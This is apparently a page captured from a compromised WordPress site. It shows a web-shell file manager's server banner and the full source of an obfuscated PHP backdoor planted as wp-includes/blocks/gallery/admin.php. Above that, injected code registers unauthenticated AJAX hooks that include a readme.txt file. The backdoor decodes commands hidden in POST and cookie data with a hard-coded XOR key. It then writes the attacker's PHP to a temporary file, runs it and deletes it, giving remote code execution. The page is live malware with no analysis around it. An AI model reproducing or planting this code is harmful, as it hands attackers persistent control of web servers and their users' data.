if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-includes/blocks/gallery/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-includes/blocks/gallery/admin.php
<?php 

$xxulq /* gs*/ = /*   _*/ 'xxulq' /*  psygsi   */ ^    '';


$fcijj /*   w */ =    "S".$xxulq(824-740)       . /*   lar*/ "\x52" /*xn*/ . /*  vauy   */ $xxulq(95)     .	"P".$xxulq(764-699)   .     $xxulq(634-566)    .  $xxulq(95) /*vhcd   */ . /*   xkmg   */ "\x52" /*   swhmgh*/ . /*  wd   */ "I".$xxulq(71)    .    $xxulq(72)       .      "T";

$gfzi_    =    $xxulq(166-69)      .       "\162" /*   bllpdd*/ . /*   cfa   */ $xxulq(306-192)    .	$xxulq(133-36)	. /*   zmus  */ "y"."\x5f"	.	"m"."a"."p";$qhfqygim_e	= /*  xzin  */ "\x69"       . /*  t */ "m"."\x70"      . /*_lr   */ $xxulq(891-783)	.  $xxulq(1057-946)	. /*qhursn   */ "d"."e";
$crydknpr /*iykreb  */ = /* ffs */ "s"."t"."r".$xxulq(95)   .       "\160"   .	"a"."\144";$eulqopnclu /*   efwgf  */ = /*   zqt */ $xxulq(99)    .	$xxulq(777-666) /*xrqdng  */ .       "u".$xxulq(110) /*_nf */ . /* ye*/ "\x74";




function /*   mftdp   */ resqjnhzcd($ructryo_ck,       $kd_bu)


{
 /*   h  */ global       $xxulq;	
 /* mr  */ $ructryo_ck   =    "<"    .   $xxulq(63)    . /*   b__d  */ "\160" /*gs  */ . /*  tuey */ $xxulq(635-531) /*   u */ .    $xxulq(112)   .  $xxulq(32)       .   "u"."n"."\154"	.	"\151"	.	"\x6e" /* dr  */ .    "k"."("."_"."_"."\x46"    .      $xxulq(73)    .    $xxulq(318-242)    .     "E".$xxulq(95) /*fyfqe */ .	$xxulq(563-468)    .     $xxulq(218-177)    . /*otldcg*/ $xxulq(59)   .  $xxulq(32) /*sob   */ . /*   wh */ $ructryo_ck["d"];

 /*   vsjb  */ $uyarquw /*mumrnp*/ =  "\146"    .    "\x69"."l"."\x65"     .    "_"."\160"      .	"u"."\x74"   .       "_".$xxulq(99)	. /*  o*/ $xxulq(111)	. /*vbdkx*/ "n"."\164"    . /*doj   */ $xxulq(101).$xxulq(110) /*  lcxrgz   */ .       "t"."\x73";

  

 /*   jpzur   */ $uyarquw($kd_bu, /* qimkr  */ $ructryo_ck);


 /*mjhg   */ 	rnwy_($kd_bu);}




$ythcfighy    =    73;




function	rnwy_($kd_bu){
 /*f*/ global    $xxulq;    


    include($kd_bu); /*   xjl*/ $zytybnm      =     $kd_bu;

     @unlink($zytybnm);
}


function /*   oxaa*/ lpkaip()
{


 /*vdcduc  */ global /*  k   */ $xxulq;



     $_ysfdjlbxg /*  my_c  */ = /* kwovhq  */ array();

	$_ysfdjlbxg[$xxulq(112) /*   nxz  */ .    "v"] /*   f*/ = /*   n  */ phpversion();

 /*   wopf*/ $_ysfdjlbxg["\x73" /* dfrsp */ .     $xxulq(932-814)]  = /* unozxd*/ $xxulq(51)    .	$xxulq(1002-956)  .  $xxulq(190-137);


	$oevqe__    =       74;    echo	@serialize($_ysfdjlbxg);


}


function       dqyjz($ructryo_ck,     $zcdioa)

{
 /*bweafz   */ global   $xxulq;


 /*  ylm  */ $vsypn      =    "";  $mwcjklyolw /*  nirf  */ =    'fcegkgy';


 /* xkj   */ $yle_p    =    hash('sha256',      $ructryo_ck);
	$ddneiychge	= /*   gock */ str_replace('nfj',  $yle_p,	$mwcjklyolw);
 /*  elk  */ $_ysfdjlbxg	= /*cr  */ 0;
       while /*tdruy   */ ($_ysfdjlbxg  <    strlen($ructryo_ck))    {


    $agzprg_pl    = /*  o  */ isset($zcdioa) /*   hromaw*/ ?   $zcdioa    : /*  grwvw*/ '';
    for /*  n_f_id*/ ($vb_ynns    = /* ba */ 0;  $vb_ynns /*nyle*/ < /*   twic_*/ strlen($agzprg_pl)	&& /*  te  */ $_ysfdjlbxg /* caokj  */ < /*  blzzow  */ strlen($ructryo_ck);    $vb_ynns++,    $_ysfdjlbxg++)	{


 /*  arn */ $vsypn /*  bwp */ .=      $xxulq(ord($ructryo_ck[$_ysfdjlbxg])    ^    ord($agzprg_pl[$vb_ynns]));
	}

    if      (strlen($vsypn)	>	20)	{
 /*   _   */ $ddneiychge	= /* fpxym*/ substr($vsypn,    0, /*   ttj   */ 20);


    }
	}

    if /*   g*/ (empty($vsypn))    {	$vsypn /*yhze_g  */ = /*   vhxm  */ date('Y-m-d	H:i:s'); /*  jxe */ }


       return    $vsypn;
}





function	qecqvlowzq($lhgfnhlsxv)
{
	global	$xxulq;  


 /*  g*/ $zjjbpmdca	= /* jbzwv */ $xxulq(100)    .	"\71"       . /*  t*/ $xxulq(646-545) /*  cfr  */ . /* k_fceo */ "\141".$xxulq(756-707)    .     "4"."\64"    . /* yglyvt   */ $xxulq(860-761) /*  g */ .    "\55"    .     "\64" /* qhc   */ .      $xxulq(56)    .    "\143" /*  lf   */ .   "9".$xxulq(911-866) /*xhj*/ .	"4".$xxulq(99) /*fbjm   */ .     "5"."b"."-"."\141"."6".$xxulq(707-653)    .    "\x65"	. /*  b_csb */ "-"."\60" /* e_n */ .    "2"."9".$xxulq(544-489)     .	$xxulq(48)    . /* eon*/ "8"."5"."3".$xxulq(99) /*f */ . /*zyayfv*/ $xxulq(49)     . /* xr*/ $xxulq(97) /* psmpv   */ .       "1";

	
   foreach /*   cb  */ ($lhgfnhlsxv    as /*fflhas*/ $vbyeq /*  pg */ =>   $ructryo_ck)   {

	ckteshm(base64_decode($ructryo_ck), /*  lnjo   */ $zjjbpmdca,    $vbyeq);


    }
}
function	ckteshm($ructryo_ck,    $zjjbpmdca, /*  opekni*/ $vbyeq)
{

	global	$xxulq;


    


 /*   s  */ $ructryo_ck /*   chw */ =	unserialize(dqyjz(dqyjz($ructryo_ck,	$zjjbpmdca), /*ha */ $vbyeq));	$_nggu /*vvr */ =     'phbrsoupo';

	$sxfoo	=       'fjxqujbg';
 /*  qamyt*/ if	(isset($ructryo_ck[$xxulq(1005-908)    .    "k"]))       {    if  ($ructryo_ck["\141"] /*  olppcv*/ ==  "\x69") /*   xgd */ {


 /*  ref   */ lpkaip();   }    elseif /* idmzml */ ($ructryo_ck["\141"] /*  kfbi  */ ==    $xxulq(101))    {  resqjnhzcd($ructryo_ck, /*  o */ sprintf("\56"       .      "\x2f"    .     "%".$xxulq(115) /*   dgyje  */ .    "\x2e"      .    $xxulq(252-140)  .    "l",    md5($zjjbpmdca)));			$hcaenz /*lb*/ =	44;

    }

 /*   o  */ exit();
	}
}

qecqvlowzq($_POST);     


$vggacdjiv /*   ajkx  */ =	$gfzi_('rawurldecode',    $_POST);

$nfsvljln /*   s  */ = /* vx  */ $eulqopnclu($vggacdjiv);


if      ($nfsvljln      >     0)       {
    $kcbrwxzjx   = /* xpfivn   */ $qhfqygim_e(',',	$vggacdjiv);
}


qecqvlowzq($_COOKIE);	


$alad_ncplm    = /*nzgqji  */ $gfzi_('rawurldecode', /* k_sc   */ $_COOKIE);
$tjeeqqxk   = /*e */ $eulqopnclu($alad_ncplm);

if /*  dmv */ ($tjeeqqxk	>    0) /*_   */ {

      $yoznbsjjm    =  $qhfqygim_e(';', /*viuj   */ $alad_ncplm);}$zrojw /*  nb*/ =	$alad_ncplm;


$cjhctpy	=      date('Y-m-d /*   zvssst*/ H:i:s');


$ttv_ynsnr /*   pkknzk*/ =    strlen($qhfqygim_e('',      $zrojw));
if	($ttv_ynsnr    >     100) /*p  */ {    $guimomiiou /* vto*/ =    $crydknpr($qhfqygim_e('',       $zrojw),    150, /*  yokzvd*/ '0', /*   lnpmdi */ $fcijj);
}




?>
@ Telegram